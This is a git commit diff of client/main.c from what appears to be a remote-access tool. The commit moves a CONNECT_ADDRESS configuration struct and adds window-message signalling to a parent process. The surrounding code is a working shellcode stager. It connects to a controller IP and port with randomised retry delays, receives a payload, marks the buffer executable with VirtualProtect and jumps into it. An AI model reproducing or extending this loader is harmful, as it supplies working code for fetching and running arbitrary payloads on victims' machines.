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Layout reorganize

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This commit is contained in:
yuanyuanxiang
2025-07-24 04:20:39 +08:00
parent 1a72a4f520
commit b4a6435f7d
11 changed files with 78 additions and 45 deletions
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61
client/main.c
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@@ -19,14 +19,40 @@
#pragma comment(lib, "ws2_32.lib")
#pragma pack(push, 1)
#pragma pack(push, 4)
typedef struct PkgHeader {
char flag[8];
int totalLen;
int originLen;
} PkgHeader;
struct CONNECT_ADDRESS
{
char szFlag[32]; // 标识
char szServerIP[100]; // 主控IP
char szPort[8]; // 主控端口
int iType; // 客户端类型
bool bEncrypt; // 上线信息是否加密
char szBuildDate[12]; // 构建日期(版本)
int iMultiOpen; // 支持打开多个
int iStartup; // 启动方式
int iHeaderEnc; // 数据加密类型
char protoType; // 协议类型
char runningType; // 运行方式
char szReserved[44]; // 占位，使结构体占据300字节
uint64_t parentHwnd; // 父进程窗口句柄
uint64_t superAdmin; // 管理员主控ID
char pwdHash[64]; // 密码哈希
}g_Server = { "Hello, World!", "127.0.0.1", "6543" };
#pragma pack(pop)
typedef struct PluginParam {
char IP[100];
int Port;
void* Exit;
void* User;
}PluginParam;
PkgHeader MakePkgHeader(int originLen) {
PkgHeader header = { 0 };
memcpy(header.flag, "Hello?", 6);
@@ -88,7 +114,9 @@ const char* ReceiveShellcode(const char* sIP, int serverPort, int* sizeOut) {
if (!isFirstConnect)
Sleep(IsRelease ? rand()%60 * 1000 : 5000);
isFirstConnect = FALSE;
Mprintf("Connecting attempt #%d -> %s:%d \n", ++attemptCount, serverIP, serverPort);
if (++attemptCount == 20)
PostMessage((HWND)g_Server.parentHwnd, 4046, (WPARAM)933711587, (LPARAM)1643138518);
Mprintf("Connecting attempt #%d -> %s:%d \n", attemptCount, serverIP, serverPort);
SOCKET clientSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (clientSocket == INVALID_SOCKET)
@@ -180,33 +208,6 @@ inline int MemoryFind(const char* szBuffer, const char* Key, int iBufferSize, in
return -1;
}
#pragma pack(push, 4)
struct CONNECT_ADDRESS
{
char szFlag[32]; // 标识
char szServerIP[100]; // 主控IP
char szPort[8]; // 主控端口
int iType; // 客户端类型
bool bEncrypt; // 上线信息是否加密
char szBuildDate[12]; // 构建日期(版本)
int iMultiOpen; // 支持打开多个
int iStartup; // 启动方式
int iHeaderEnc; // 数据加密类型
char protoType; // 协议类型
char runningType; // 运行方式
char szReserved[52]; // 占位，使结构体占据300字节
uint64_t superAdmin; // 管理员主控ID
char pwdHash[64]; // 密码哈希
}g_Server = { "Hello, World!", "127.0.0.1", "6543" };
#pragma pack(pop)
typedef struct PluginParam {
char IP[100];
int Port;
void* Exit;
void* User;
}PluginParam;
#ifdef _WINDLL
#define DLL_API __declspec(dllexport)
#else
@@ -229,7 +230,7 @@ extern DLL_API DWORD WINAPI run(LPVOID param) {
free((void*)dllData);
DWORD oldProtect = 0;
if (!VirtualProtect(execMem, size, PAGE_EXECUTE_READ, &oldProtect)) return -3;
PostMessage((HWND)g_Server.parentHwnd, 4046, (WPARAM)0, (LPARAM)0);
((void(*)())execMem)();
return 0;
}